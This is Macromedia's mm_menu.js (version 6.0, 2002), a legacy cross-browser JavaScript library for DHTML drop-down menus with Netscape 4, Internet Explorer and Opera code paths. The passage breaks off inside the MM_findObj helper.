/**
 * mm_menu 20MAR2002 Version 6.0
 * Andy Finnell, March 2002
 * Copyright (c) 2000-2002 Macromedia, Inc.
 *
 * based on menu.js
 * by gary smith, July 1997
 * Copyright (c) 1997-1999 Netscape Communications Corp.
 *
 * Netscape grants you a royalty free license to use or modify this
 * software provided that this copyright notice appears on all copies.
 * This software is provided "AS IS," without a warranty of any kind.
 */



function Menu(label, mw, mh, fnt, fs, fclr, fhclr, bg, bgh, halgn, valgn, pad, space, to, sx, sy, srel, opq, vert, idt, aw, ah) 
{
	this.version = "020320 [Menu; mm_menu.js]";
	this.type = "Menu";
	this.menuWidth = mw;
	this.menuItemHeight = mh;
	this.fontSize = fs;
	this.fontWeight = "plain";
	this.fontFamily = fnt;
	this.fontColor = fclr;
	this.fontColorHilite = fhclr;
	this.bgColor = "#555555";
	
this.menuBorder = 1;
	
this.menuBgOpaque=opq;
	
this.menuItemBorder = 1;
	
this.menuItemIndent = idt;
	
this.menuItemBgColor = bg;
	this.menuItemVAlign = valgn;
	this.menuItemHAlign = halgn;
	this.menuItemPadding = pad;
	this.menuItemSpacing = space;
	this.menuLiteBgColor = "#ffffff";
	this.menuBorderBgColor = "#777777";
	this.menuHiliteBgColor = bgh;
	this.menuContainerBgColor = "#cccccc";
	this.childMenuIcon = "arrows.gif";
	this.submenuXOffset = sx;
	this.submenuYOffset = sy;
	this.submenuRelativeToItem = srel;
	
this.vertical = vert;
	this.items = new Array();
	this.actions = new Array();
	this.childMenus = new Array();
	this.hideOnMouseOut = true;
	this.hideTimeout = to;
	this.addMenuItem = addMenuItem;
	this.writeMenus = writeMenus;
	this.MM_showMenu = MM_showMenu;
	this.onMenuItemOver = onMenuItemOver;
	this.onMenuItemAction = onMenuItemAction;
	this.hideMenu = hideMenu;
	this.hideChildMenu = hideChildMenu;
	if (!window.menus) window.menus = new Array();
	
this.label = " " + label;
	
window.menus[this.label] = this;
	
window.menus[window.menus.length] = this;
	
if (!window.activeMenus) window.activeMenus = new Array();
}



function addMenuItem(label, action) {
	this.items[this.items.length] = label;
	this.actions[this.actions.length] = action;
}




function FIND(item) {
	if( window.mmIsOpera ) return(document.getElementById(item));
	if (document.all) return(document.all[item]);
	if (document.getElementById) return(document.getElementById(item));
	return(false);
}




function writeMenus(container) {
	if (window.triedToWriteMenus) return;
	var agt = navigator.userAgent.toLowerCase();
	window.mmIsOpera = agt.indexOf("opera") != -1;
	if (!container && document.layers) {
		window.delayWriteMenus = this.writeMenus;
		var timer = setTimeout('delayWriteMenus()', 500);
		container = new Layer(100);
		clearTimeout(timer);
	} else if (document.all || document.hasChildNodes || window.mmIsOpera) {
		document.writeln('<span id="menuContainer"></span>');
		container = FIND("menuContainer");
	}

	window.mmHideMenuTimer = null;
	if (!container) return;	
	window.triedToWriteMenus = true; 
	container.isContainer = true;
	container.menus = new Array();
	for (var i=0; i<window.menus.length; i++) 
		container.menus[i] = window.menus[i];
	window.menus.length = 0;
	var countMenus = 0;
	var countItems = 0;
	var top = 0;
	var content = '';
	var lrs = false;
	var theStat = "";
	var tsc = 0;
	if (document.layers) lrs = true;
	for (var i=0; i<container.menus.length; i++, countMenus++) {
		var menu = container.menus[i];
		if (menu.bgImageUp || !menu.menuBgOpaque) {
			menu.menuBorder = 0;
			menu.menuItemBorder = 0;
		}
		if (lrs) {
			var menuLayer = new Layer(100, container);
			var lite = new Layer(100, menuLayer);
			lite.top = menu.menuBorder;
			lite.left = menu.menuBorder;
			var body = new Layer(100, lite);
			body.top = menu.menuBorder;
			body.left = menu.menuBorder;
		} else {
			content += ''+
			'<div id="menuLayer'+ countMenus +'" style="position:absolute;z-index:1;left:10px;top:'+ (i * 100) +'px;visibility:hidden;color:' +  menu.menuBorderBgColor + ';">\n'+
			'  <div id="menuLite'+ countMenus +'" style="position:absolute;z-index:1;left:'+ menu.menuBorder +'px;top:'+ menu.menuBorder +'px;visibility:hide;" onmouseout="mouseoutMenu();">\n'+
			'	 <div id="menuFg'+ countMenus +'" style="position:absolute;left:'+ menu.menuBorder +'px;top:'+ menu.menuBorder +'px;visibility:hide;">\n'+
			'';
		}
		var x=i;
		for (var i=0; i<menu.items.length; i++) {
			var item = menu.items[i];
			var childMenu = false;
			var defaultHeight = menu.fontSize+2*menu.menuItemPadding;
			if (item.label) {
				item = item.label;
				childMenu = true;
			}
			menu.menuItemHeight = menu.menuItemHeight || defaultHeight;
			var itemProps = '';
			if( menu.fontFamily != '' ) itemProps += 'font-family:' + menu.fontFamily +';';
			itemProps += 'font-weight:' + menu.fontWeight + ';fontSize:' + menu.fontSize + 'px;';
			if (menu.fontStyle) itemProps += 'font-style:' + menu.fontStyle + ';';
			if (document.all || window.mmIsOpera) 
				itemProps += 'font-size:' + menu.fontSize + 'px;" onmouseover="onMenuItemOver(null,this);" onclick="onMenuItemAction(null,this);';
			else if (!document.layers) {
				itemProps += 'font-size:' + menu.fontSize + 'px;';
			}
			var l;
			if (lrs) {
				var lw = menu.menuWidth;
				if( menu.menuItemHAlign == 'right' ) lw -= menu.menuItemPadding;
				l = new Layer(lw,body);
			}
			var itemLeft = 0;
			var itemTop = i*menu.menuItemHeight;
			if( !menu.vertical ) {
				itemLeft = i*menu.menuWidth;
				itemTop = 0;
			}
			var dTag = '<div id="menuItem'+ countItems +'" style="position:absolute;left:' + itemLeft + 'px;top:'+ itemTop +'px;'+ itemProps +'">';
			var dClose = '</div>'
			if (menu.bgImageUp) dTag = '<div id="menuItem'+ countItems +'" style="background:url('+menu.bgImageUp+');position:absolute;left:' + itemLeft + 'px;top:'+ itemTop +'px;'+ itemProps +'">';

			var left = 0, top = 0, right = 0, bottom = 0;
			left = 1 + menu.menuItemPadding + menu.menuItemIndent;
			right = left + menu.menuWidth - 2*menu.menuItemPadding - menu.menuItemIndent;
			if( menu.menuItemVAlign == 'top' ) top = menu.menuItemPadding;
			if( menu.menuItemVAlign == 'bottom' ) top = menu.menuItemHeight-menu.fontSize-1-menu.menuItemPadding;
			if( menu.menuItemVAlign == 'middle' ) top = ((menu.menuItemHeight/2)-(menu.fontSize/2)-1);
			bottom = menu.menuItemHeight - 2*menu.menuItemPadding;
			var textProps = 'position:absolute;left:' + left + 'px;top:' + top + 'px;';
			if (lrs) {
				textProps +=itemProps + 'right:' + right + ';bottom:' + bottom + ';';
				dTag = "";
				dClose = "";
			}
			
			if(document.all && !window.mmIsOpera) {
				item = '<div align="' + menu.menuItemHAlign + '">' + item + '</div>';
			} else if (lrs) {
				item = '<div style="text-align:' + menu.menuItemHAlign + ';">' + item + '</div>';
			} else {
				var hitem = null;
				if( menu.menuItemHAlign != 'left' ) {
					if(window.mmIsOpera) {
						var operaWidth = menu.menuItemHAlign == 'center' ? -(menu.menuWidth-2*menu.menuItemPadding) : (menu.menuWidth-6*menu.menuItemPadding);
						hitem = '<div id="menuItemHilite' + countItems + 'Shim" style="position:absolute;top:1px;left:' + menu.menuItemPadding + 'px;width:' + operaWidth + 'px;text-align:' 
							+ menu.menuItemHAlign + ';visibility:visible;">' + item + '</div>';
						item = '<div id="menuItemText' + countItems + 'Shim" style="position:absolute;top:1px;left:' + menu.menuItemPadding + 'px;width:' + operaWidth + 'px;text-align:' 
							+ menu.menuItemHAlign + ';visibility:visible;">' + item + '</div>';
					} else {
						hitem = '<div id="menuItemHilite' + countItems + 'Shim" style="position:absolute;top:1px;left:1px;right:-' + (left+menu.menuWidth-3*menu.menuItemPadding) + 'px;text-align:' 
							+ menu.menuItemHAlign + ';visibility:visible;">' + item + '</div>';
						item = '<div id="menuItemText' + countItems + 'Shim" style="position:absolute;top:1px;left:1px;right:-' + (left+menu.menuWidth-3*menu.menuItemPadding) + 'px;text-align:' 
							+ menu.menuItemHAlign + ';visibility:visible;">' + item + '</div>';
					}
				} else hitem = null;
			}
			if(document.all && !window.mmIsOpera) item = '<div id="menuItemShim' + countItems + '" style="position:absolute;left:0px;top:0px;">' + item + '</div>';
			var dText	= '<div id="menuItemText'+ countItems +'" style="' + textProps + 'color:'+ menu.fontColor +';">'+ item +'&nbsp</div>\n'
						+ '<div id="menuItemHilite'+ countItems +'" style="' + textProps + 'color:'+ menu.fontColorHilite +';visibility:hidden;">' 
						+ (hitem||item) +'&nbsp</div>';
			if (childMenu) content += ( dTag + dText + '<div id="childMenu'+ countItems +'" style="position:absolute;left:0px;top:3px;"><img src="'+ menu.childMenuIcon +'"></div>\n' + dClose);
			else content += ( dTag + dText + dClose);
			if (lrs) {
				l.document.open("text/html");
				l.document.writeln(content);
				l.document.close();	
				content = '';
				theStat += "-";
				tsc++;
				if (tsc > 50) {
					tsc = 0;
					theStat = "";
				}
				status = theStat;
			}
			countItems++;  
		}
		if (lrs) {
			var focusItem = new Layer(100, body);
			focusItem.visiblity="hidden";
			focusItem.document.open("text/html");
			focusItem.document.writeln("&nbsp;");
			focusItem.document.close();	
		} else {
		  content += '	  <div id="focusItem'+ countMenus +'" style="position:absolute;left:0px;top:0px;visibility:hide;" onclick="onMenuItemAction(null,this);">&nbsp;</div>\n';
		  content += '   </div>\n  </div>\n</div>\n';
		}
		i=x;
	}
	if (document.layers) {		
		container.clip.width = window.innerWidth;
		container.clip.height = window.innerHeight;
		container.onmouseout = mouseoutMenu;
		container.menuContainerBgColor = this.menuContainerBgColor;
		for (var i=0; i<container.document.layers.length; i++) {
			proto = container.menus[i];
			var menu = container.document.layers[i];
			container.menus[i].menuLayer = menu;
			container.menus[i].menuLayer.Menu = container.menus[i];
			container.menus[i].menuLayer.Menu.container = container;
			var body = menu.document.layers[0].document.layers[0];
			body.clip.width = proto.menuWidth || body.clip.width;
			body.clip.height = proto.menuHeight || body.clip.height;
			for (var n=0; n<body.document.layers.length-1; n++) {
				var l = body.document.layers[n];
				l.Menu = container.menus[i];
				l.menuHiliteBgColor = proto.menuHiliteBgColor;
				l.document.bgColor = proto.menuItemBgColor;
				l.saveColor = proto.menuItemBgColor;
				l.onmouseover = proto.onMenuItemOver;
				l.onclick = proto.onMenuItemAction;
				l.mmaction = container.menus[i].actions[n];
				l.focusItem = body.document.layers[body.document.layers.length-1];
				l.clip.width = proto.menuWidth || body.clip.width;
				l.clip.height = proto.menuItemHeight || l.clip.height;
				if (n>0) {
					if( l.Menu.vertical ) l.top = body.document.layers[n-1].top + body.document.layers[n-1].clip.height + proto.menuItemBorder + proto.menuItemSpacing;
					else l.left = body.document.layers[n-1].left + body.document.layers[n-1].clip.width + proto.menuItemBorder + proto.menuItemSpacing;
				}
				l.hilite = l.document.layers[1];
				if (proto.bgImageUp) l.background.src = proto.bgImageUp;
				l.document.layers[1].isHilite = true;
				if (l.document.layers.length > 2) {
					l.childMenu = container.menus[i].items[n].menuLayer;
					l.document.layers[2].left = l.clip.width -13;
					l.document.layers[2].top = (l.clip.height / 2) -4;
					l.document.layers[2].clip.left += 3;
					l.Menu.childMenus[l.Menu.childMenus.length] = l.childMenu;
				}
			}
			if( proto.menuBgOpaque ) body.document.bgColor = proto.bgColor;
			if( proto.vertical ) {
				body.clip.width  = l.clip.width +proto.menuBorder;
				body.clip.height = l.top + l.clip.height +proto.menuBorder;
			} else {
				body.clip.height  = l.clip.height +proto.menuBorder;
				body.clip.width = l.left + l.clip.width  +proto.menuBorder;
				if( body.clip.width > window.innerWidth ) body.clip.width = window.innerWidth;
			}
			var focusItem = body.document.layers[n];
			focusItem.clip.width = body.clip.width;
			focusItem.Menu = l.Menu;
			focusItem.top = -30;
            focusItem.captureEvents(Event.MOUSEDOWN);
            focusItem.onmousedown = onMenuItemDown;
			if( proto.menuBgOpaque ) menu.document.bgColor = proto.menuBorderBgColor;
			var lite = menu.document.layers[0];
			if( proto.menuBgOpaque ) lite.document.bgColor = proto.menuLiteBgColor;
			lite.clip.width = body.clip.width +1;
			lite.clip.height = body.clip.height +1;
			menu.clip.width = body.clip.width + (proto.menuBorder * 3) ;
			menu.clip.height = body.clip.height + (proto.menuBorder * 3);
		}
	} else {
		if ((!document.all) && (container.hasChildNodes) && !window.mmIsOpera) {
			container.innerHTML=content;
		} else {
			container.document.open("text/html");
			container.document.writeln(content);
			container.document.close();	
		}
		if (!FIND("menuLayer0")) return;
		var menuCount = 0;
		for (var x=0; x<container.menus.length; x++) {
			var menuLayer = FIND("menuLayer" + x);
			container.menus[x].menuLayer = "menuLayer" + x;
			menuLayer.Menu = container.menus[x];
			menuLayer.Menu.container = "menuLayer" + x;
			menuLayer.style.zindex = 1;
		    var s = menuLayer.style;
			s.pixeltop = -300;
			s.pixelleft = -300;
			s.top = '-300px';
			s.left = '-300px';

			var menu = container.menus[x];
			menu.menuItemWidth = menu.menuWidth || menu.menuIEWidth || 140;
			if( menu.menuBgOpaque ) menuLayer.style.backgroundColor = menu.menuBorderBgColor;
			var top = 0;
			var left = 0;
			menu.menuItemLayers = new Array();
			for (var i=0; i<container.menus[x].items.length; i++) {
				var l = FIND("menuItem" + menuCount);
				l.Menu = container.menus[x];
				l.Menu.menuItemLayers[l.Menu.menuItemLayers.length] = l;
				if (l.addEventListener || window.mmIsOpera) {
					l.style.width = menu.menuItemWidth + 'px';
					l.style.height = menu.menuItemHeight + 'px';
					l.style.pixelWidth = menu.menuItemWidth;
					l.style.pixelHeight = menu.menuItemHeight;
					l.style.top = top + 'px';
					l.style.left = left + 'px';
					if(l.addEventListener) {
						l.addEventListener("mouseover", onMenuItemOver, false);
						l.addEventListener("click", onMenuItemAction, false);
						l.addEventListener("mouseout", mouseoutMenu, false);
					}
					if( menu.menuItemHAlign != 'left' ) {
						l.hiliteShim = FIND("menuItemHilite" + menuCount + "Shim");
						l.hiliteShim.style.visibility = "inherit";
						l.textShim = FIND("menuItemText" + menuCount + "Shim");
						l.hiliteShim.style.pixelWidth = menu.menuItemWidth - 2*menu.menuItemPadding - menu.menuItemIndent;
						l.hiliteShim.style.width = l.hiliteShim.style.pixelWidth;
						l.textShim.style.pixelWidth = menu.menuItemWidth - 2*menu.menuItemPadding - menu.menuItemIndent;
						l.textShim.style.width = l.textShim.style.pixelWidth;	
					}
				} else {
					l.style.pixelWidth = menu.menuItemWidth;
					l.style.pixelHeight = menu.menuItemHeight;
					l.style.pixelTop = top;
					l.style.pixelLeft = left;
					if( menu.menuItemHAlign != 'left' ) {
						var shim = FIND("menuItemShim" + menuCount);
						shim[0].style.pixelWidth = menu.menuItemWidth - 2*menu.menuItemPadding - menu.menuItemIndent;
						shim[1].style.pixelWidth = menu.menuItemWidth - 2*menu.menuItemPadding - menu.menuItemIndent;
						shim[0].style.width = shim[0].style.pixelWidth + 'px';
						shim[1].style.width = shim[1].style.pixelWidth + 'px';
					}
				}
				if( menu.vertical ) top = top + menu.menuItemHeight+menu.menuItemBorder+menu.menuItemSpacing;
				else left = left + menu.menuItemWidth+menu.menuItemBorder+menu.menuItemSpacing;
				l.style.fontSize = menu.fontSize + 'px';
				l.style.backgroundColor = menu.menuItemBgColor;
				l.style.visibility = "inherit";
				l.saveColor = menu.menuItemBgColor;
				l.menuHiliteBgColor = menu.menuHiliteBgColor;
				l.mmaction = container.menus[x].actions[i];
				l.hilite = FIND("menuItemHilite" + menuCount);
				l.focusItem = FIND("focusItem" + x);
				l.focusItem.style.pixelTop = -30;
				l.focusItem.style.top = '-30px';
				var childItem = FIND("childMenu" + menuCount);
				if (childItem) {
					l.childMenu = container.menus[x].items[i].menuLayer;
					childItem.style.pixelLeft = menu.menuItemWidth -11;
					childItem.style.left = childItem.style.pixelLeft + 'px';
					childItem.style.pixelTop = (menu.menuItemHeight /2) -4;
					childItem.style.top = childItem.style.pixelTop + 'px';
					l.Menu.childMenus[l.Menu.childMenus.length] = l.childMenu;
				}
				l.style.cursor = "hand";
				menuCount++;
			}
			if( menu.vertical ) {
				menu.menuHeight = top-1-menu.menuItemSpacing;
				menu.menuWidth = menu.menuItemWidth;
			} else {
				menu.menuHeight = menu.menuItemHeight;
				menu.menuWidth = left-1-menu.menuItemSpacing;
			}

			var lite = FIND("menuLite" + x);
			var s = lite.style;
			s.pixelHeight = menu.menuHeight +(menu.menuBorder * 2);
			s.height = s.pixelHeight + 'px';
			s.pixelWidth = menu.menuWidth + (menu.menuBorder * 2);
			s.width = s.pixelWidth + 'px';
			if( menu.menuBgOpaque ) s.backgroundColor = menu.menuLiteBgColor;

			var body = FIND("menuFg" + x);
			s = body.style;
			s.pixelHeight = menu.menuHeight + menu.menuBorder;
			s.height = s.pixelHeight + 'px';
			s.pixelWidth = menu.menuWidth + menu.menuBorder;
			s.width = s.pixelWidth + 'px';
			if( menu.menuBgOpaque ) s.backgroundColor = menu.bgColor;

			s = menuLayer.style;
			s.pixelWidth  = menu.menuWidth + (menu.menuBorder * 4);
			s.width = s.pixelWidth + 'px';
			s.pixelHeight  = menu.menuHeight+(menu.menuBorder*4);
			s.height = s.pixelHeight + 'px';
		}
	}
	if (document.captureEvents) document.captureEvents(Event.MOUSEUP);
	if (document.addEventListener) document.addEventListener("mouseup", onMenuItemOver, false);
	if (document.layers && window.innerWidth) {
		window.onresize = NS4resize;
		window.NS4sIW = window.innerWidth;
		window.NS4sIH = window.innerHeight;
		setTimeout("NS4resize()",500);
	}
	document.onmouseup = mouseupMenu;
	window.mmWroteMenu = true;
	status = "";
}




function NS4resize() {
	if (NS4sIW != window.innerWidth || NS4sIH != window.innerHeight) window.location.reload();
}




function onMenuItemOver(e, l) {
	MM_clearTimeout();
	l = l || this;
	var a = window.ActiveMenuItem;
	if (document.layers) {
		if (a) {
			a.document.bgColor = a.saveColor;
			if (a.hilite) a.hilite.visibility = "hidden";
			if (a.Menu.bgImageOver) a.background.src = a.Menu.bgImageUp;
			a.focusItem.top = -100;
			a.clicked = false;
		}
		if (l.hilite) {
			l.document.bgColor = l.menuHiliteBgColor;
			l.zIndex = 1;
			l.hilite.visibility = "inherit";
			l.hilite.zIndex = 2;
			l.document.layers[1].zIndex = 1;
			l.focusItem.zIndex = this.zIndex +2;
		}
		if (l.Menu.bgImageOver) l.background.src = l.Menu.bgImageOver;
		l.focusItem.top = this.top;
		l.focusItem.left = this.left;
		l.focusItem.clip.width = l.clip.width;
		l.focusItem.clip.height = l.clip.height;
		l.Menu.hideChildMenu(l);
	} else if (l.style && l.Menu) {
		if (a) {
			a.style.backgroundColor = a.saveColor;
			if (a.hilite) a.hilite.style.visibility = "hidden";
			if (a.hiliteShim) a.hiliteShim.style.visibility = "inherit";
			if (a.Menu.bgImageUp) a.style.background = "url(" + a.Menu.bgImageUp +")";;
		} 
		l.style.backgroundColor = l.menuHiliteBgColor;
		l.zIndex = 1;
		if (l.Menu.bgImageOver) l.style.background = "url(" + l.Menu.bgImageOver +")";
		if (l.hilite) {
			l.hilite.style.visibility = "inherit";
			if( l.hiliteShim ) l.hiliteShim.style.visibility = "visible";
		}
		l.focusItem.style.pixelTop = l.style.pixelTop;
		l.focusItem.style.top = l.focusItem.style.pixelTop + 'px';
		l.focusItem.style.pixelLeft = l.style.pixelLeft;
		l.focusItem.style.left = l.focusItem.style.pixelLeft + 'px';
		l.focusItem.style.zIndex = l.zIndex +1;
		l.Menu.hideChildMenu(l);
	} else return;
	window.ActiveMenuItem = l;
}




function onMenuItemAction(e, l) {
	l = window.ActiveMenuItem;
	if (!l) return;
	hideActiveMenus();
	if (l.mmaction) eval("" + l.mmaction);
	window.ActiveMenuItem = 0;
}




function MM_clearTimeout() {
	if (mmHideMenuTimer) clearTimeout(mmHideMenuTimer);
	mmHideMenuTimer = null;
	mmDHFlag = false;
}



function MM_startTimeout() {
	if( window.ActiveMenu ) {
		mmStart = new Date();
		mmDHFlag = true;
		mmHideMenuTimer = setTimeout("mmDoHide()", window.ActiveMenu.Menu.hideTimeout);
	}
}



function mmDoHide() {
	if (!mmDHFlag || !window.ActiveMenu) return;
	var elapsed = new Date() - mmStart;
	var timeout = window.ActiveMenu.Menu.hideTimeout;
	if (elapsed < timeout) {
		mmHideMenuTimer = setTimeout("mmDoHide()", timeout+100-elapsed);
		return;
	}
	mmDHFlag = false;
	hideActiveMenus();
	window.ActiveMenuItem = 0;
}




function MM_showMenu(menu, x, y, child, imgname) {
	if (!window.mmWroteMenu) return;
	MM_clearTimeout();
	if (menu) {
		var obj = FIND(imgname) || document.images[imgname] || document.links[imgname] || document.anchors[imgname];
		x = moveXbySlicePos (x, obj);
		y = moveYbySlicePos (y, obj);
	}
	if (document.layers) {
		if (menu) {
			var l = menu.menuLayer || menu;
			l.top = l.left = 1;
			hideActiveMenus();
			if (this.visibility) l = this;
			window.ActiveMenu = l;
		} else {
			var l = child;
		}
		if (!l) return;
		for (var i=0; i<l.layers.length; i++) { 			   
			if (!l.layers[i].isHilite) l.layers[i].visibility = "inherit";
			if (l.layers[i].document.layers.length > 0) MM_showMenu(null, "relative", "relative", l.layers[i]);
		}
		if (l.parentLayer) {
			if (x != "relative") l.parentLayer.left = x || window.pageX || 0;
			if (l.parentLayer.left + l.clip.width > window.innerWidth) l.parentLayer.left -= (l.parentLayer.left + l.clip.width - window.innerWidth);
			if (y != "relative") l.parentLayer.top = y || window.pageY || 0;
			if (l.parentLayer.isContainer) {
				l.Menu.xOffset = window.pageXOffset;
				l.Menu.yOffset = window.pageYOffset;
				l.parentLayer.clip.width = window.ActiveMenu.clip.width +2;
				l.parentLayer.clip.height = window.ActiveMenu.clip.height +2;
				if (l.parentLayer.menuContainerBgColor && l.Menu.menuBgOpaque ) l.parentLayer.document.bgColor = l.parentLayer.menuContainerBgColor;
			}
		}
		l.visibility = "inherit";
		if (l.Menu) l.Menu.container.visibility = "inherit";
	} else if (FIND("menuItem0")) {
		var l = menu.menuLayer || menu;	
		hideActiveMenus();
		if (typeof(l) == "string") l = FIND(l);
		window.ActiveMenu = l;
		var s = l.style;
		s.visibility = "inherit";
		if (x != "relative") {
			s.pixelLeft = x || (window.pageX + document.body.scrollLeft) || 0;
			s.left = s.pixelLeft + 'px';
		}
		if (y != "relative") {
			s.pixelTop = y || (window.pageY + document.body.scrollTop) || 0;
			s.top = s.pixelTop + 'px';
		}
		l.Menu.xOffset = document.body.scrollLeft;
		l.Menu.yOffset = document.body.scrollTop;
	}
	if (menu) window.activeMenus[window.activeMenus.length] = l;
	MM_clearTimeout();
}



function onMenuItemDown(e, l) {
	var a = window.ActiveMenuItem;
	if (document.layers && a) {
		a.eX = e.pageX;
		a.eY = e.pageY;
		a.clicked = true;
    }
}



function mouseupMenu(e) {
	hideMenu(true, e);
	hideActiveMenus();
	return true;
}


function getExplorerVersion() {
	var ieVers = parseFloat(navigator.appVersion);
	if( navigator.appName != 'Microsoft Internet Explorer' ) return ieVers;
	var tempVers = navigator.appVersion;
	var i = tempVers.indexOf( 'MSIE ' );
	if( i >= 0 ) {
		tempVers = tempVers.substring( i+5 );
		ieVers = parseFloat( tempVers ); 
	}
	return ieVers;
}



function mouseoutMenu() {
	if ((navigator.appName == "Microsoft Internet Explorer") && (getExplorerVersion() < 4.5))
		return true;
	hideMenu(false, false);
	return true;
}



function hideMenu(mouseup, e) {
	var a = window.ActiveMenuItem;
	if (a && document.layers) {
		a.document.bgColor = a.saveColor;
		a.focusItem.top = -30;
		if (a.hilite) a.hilite.visibility = "hidden";
		if (mouseup && a.mmaction && a.clicked && window.ActiveMenu) {
 			if (a.eX <= e.pageX+15 && a.eX >= e.pageX-15 && a.eY <= e.pageY+10 && a.eY >= e.pageY-10) {
				setTimeout('window.ActiveMenu.Menu.onMenuItemAction();', 500);
			}
		}
		a.clicked = false;
		if (a.Menu.bgImageOver) a.background.src = a.Menu.bgImageUp;
	} else if (window.ActiveMenu && FIND("menuItem0")) {
		if (a) {
			a.style.backgroundColor = a.saveColor;
			if (a.hilite) a.hilite.style.visibility = "hidden";
			if (a.hiliteShim) a.hiliteShim.style.visibility = "inherit";
			if (a.Menu.bgImageUp) a.style.background = "url(" + a.Menu.bgImageUp +")";
		}
	}
	if (!mouseup && window.ActiveMenu) {
		if (window.ActiveMenu.Menu) {
			if (window.ActiveMenu.Menu.hideOnMouseOut) MM_startTimeout();
			return(true);
		}
	}
	return(true);
}




function hideChildMenu(hcmLayer) {
	MM_clearTimeout();
	var l = hcmLayer;
	for (var i=0; i < l.Menu.childMenus.length; i++) {
		var theLayer = l.Menu.childMenus[i];
		if (document.layers) theLayer.visibility = "hidden";
		else {
			theLayer = FIND(theLayer);
			theLayer.style.visibility = "hidden";
			if( theLayer.Menu.menuItemHAlign != 'left' ) {
				for(var j = 0; j < theLayer.Menu.menuItemLayers.length; j++) {
					var itemLayer = theLayer.Menu.menuItemLayers[j];
					if(itemLayer.textShim) itemLayer.textShim.style.visibility = "inherit";
				}
			}
		}
		theLayer.Menu.hideChildMenu(theLayer);
	}
	if (l.childMenu) {
		var childMenu = l.childMenu;
		if (document.layers) {
			l.Menu.MM_showMenu(null,null,null,childMenu.layers[0]);
			childMenu.zIndex = l.parentLayer.zIndex +1;
			childMenu.top = l.Menu.menuLayer.top + l.Menu.submenuYOffset;
			if( l.Menu.vertical ) {
				if( l.Menu.submenuRelativeToItem ) childMenu.top += l.top + l.parentLayer.top;
				childMenu.left = l.parentLayer.left + l.parentLayer.clip.width - (2*l.Menu.menuBorder) + l.Menu.menuLayer.left + l.Menu.submenuXOffset;
			} else {
				childMenu.top += l.top + l.parentLayer.top;	
				if( l.Menu.submenuRelativeToItem ) childMenu.left = l.Menu.menuLayer.left + l.left + l.clip.width + (2*l.Menu.menuBorder) + l.Menu.submenuXOffset;
				else childMenu.left = l.parentLayer.left + l.parentLayer.clip.width - (2*l.Menu.menuBorder) + l.Menu.menuLayer.left + l.Menu.submenuXOffset;
			}
			if( childMenu.left < l.Menu.container.clip.left ) l.Menu.container.clip.left = childMenu.left;
			var w = childMenu.clip.width+childMenu.left-l.Menu.container.clip.left;
			if (w > l.Menu.container.clip.width)  l.Menu.container.clip.width = w;
			var h = childMenu.clip.height+childMenu.top-l.Menu.container.clip.top;
			if (h > l.Menu.container.clip.height) l.Menu.container.clip.height = h;
			l.document.layers[1].zIndex = 0;
			childMenu.visibility = "inherit";
		} else if (FIND("menuItem0")) {
			childMenu = FIND(l.childMenu);
			var menuLayer = FIND(l.Menu.menuLayer);
			var s = childMenu.style;
			s.zIndex = menuLayer.style.zIndex+1;
			if (document.all || window.mmIsOpera) {
				s.pixelTop = menuLayer.style.pixelTop + l.Menu.submenuYOffset;
				if( l.Menu.vertical ) {
					if( l.Menu.submenuRelativeToItem ) s.pixelTop += l.style.pixelTop;
					s.pixelLeft = l.style.pixelWidth + menuLayer.style.pixelLeft + l.Menu.submenuXOffset;
					s.left = s.pixelLeft + 'px';
				} else {
					s.pixelTop += l.style.pixelTop;
					if( l.Menu.submenuRelativeToItem ) s.pixelLeft = menuLayer.style.pixelLeft + l.style.pixelLeft + l.style.pixelWidth + (2*l.Menu.menuBorder) + l.Menu.submenuXOffset;
					else s.pixelLeft = (menuLayer.style.pixelWidth-4*l.Menu.menuBorder) + menuLayer.style.pixelLeft + l.Menu.submenuXOffset;
					s.left = s.pixelLeft + 'px';
				}
			} else {
				var top = parseInt(menuLayer.style.top) + l.Menu.submenuYOffset;
				var left = 0;
				if( l.Menu.vertical ) {
					if( l.Menu.submenuRelativeToItem ) top += parseInt(l.style.top);
					left = (parseInt(menuLayer.style.width)-4*l.Menu.menuBorder) + parseInt(menuLayer.style.left) + l.Menu.submenuXOffset;
				} else {
					top += parseInt(l.style.top);
					if( l.Menu.submenuRelativeToItem ) left = parseInt(menuLayer.style.left) + parseInt(l.style.left) + parseInt(l.style.width) + (2*l.Menu.menuBorder) + l.Menu.submenuXOffset;
					else left = (parseInt(menuLayer.style.width)-4*l.Menu.menuBorder) + parseInt(menuLayer.style.left) + l.Menu.submenuXOffset;
				}
				s.top = top + 'px';
				s.left = left + 'px';
			}
			childMenu.style.visibility = "inherit";
		} else return;
		window.activeMenus[window.activeMenus.length] = childMenu;
	}
}




function hideActiveMenus() {
	if (!window.activeMenus) return;
	for (var i=0; i < window.activeMenus.length; i++) {
		if (!activeMenus[i]) continue;
		if (activeMenus[i].visibility && activeMenus[i].Menu && !window.mmIsOpera) {
			activeMenus[i].visibility = "hidden";
			activeMenus[i].Menu.container.visibility = "hidden";
			activeMenus[i].Menu.container.clip.left = 0;
		} else if (activeMenus[i].style) {
			var s = activeMenus[i].style;
			s.visibility = "hidden";
			s.left = '-200px';
			s.top = '-200px';
		}
	}
	if (window.ActiveMenuItem) hideMenu(false, false);
	window.activeMenus.length = 0;
}



function moveXbySlicePos (x, img) { 
	if (!document.layers) {
		var onWindows = navigator.platform ? navigator.platform == "Win32" : false;
		var macIE45 = document.all && !onWindows && getExplorerVersion() == 4.5;
		var par = img;
		var lastOffset = 0;
		while(par){
			if( par.leftMargin && ! onWindows ) x += parseInt(par.leftMargin);
			if( (par.offsetLeft != lastOffset) && par.offsetLeft ) x += parseInt(par.offsetLeft);
			if( par.offsetLeft != 0 ) lastOffset = par.offsetLeft;
			par = macIE45 ? par.parentElement : par.offsetParent;
		}
	} else if (img.x) x += img.x;
	return x;
}




function moveYbySlicePos (y, img) {
	if(!document.layers) {
		var onWindows = navigator.platform ? navigator.platform == "Win32" : false;
		var macIE45 = document.all && !onWindows && getExplorerVersion() == 4.5;
		var par = img;
		var lastOffset = 0;
		while(par){
			if( par.topMargin && !onWindows ) y += parseInt(par.topMargin);
			if( (par.offsetTop != lastOffset) && par.offsetTop ) y += parseInt(par.offsetTop);
			if( par.offsetTop != 0 ) lastOffset = par.offsetTop;
			par = macIE45 ? par.parentElement : par.offsetParent;
		}		
	} else if (img.y >= 0) y += img.y;
	return y;
}



function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
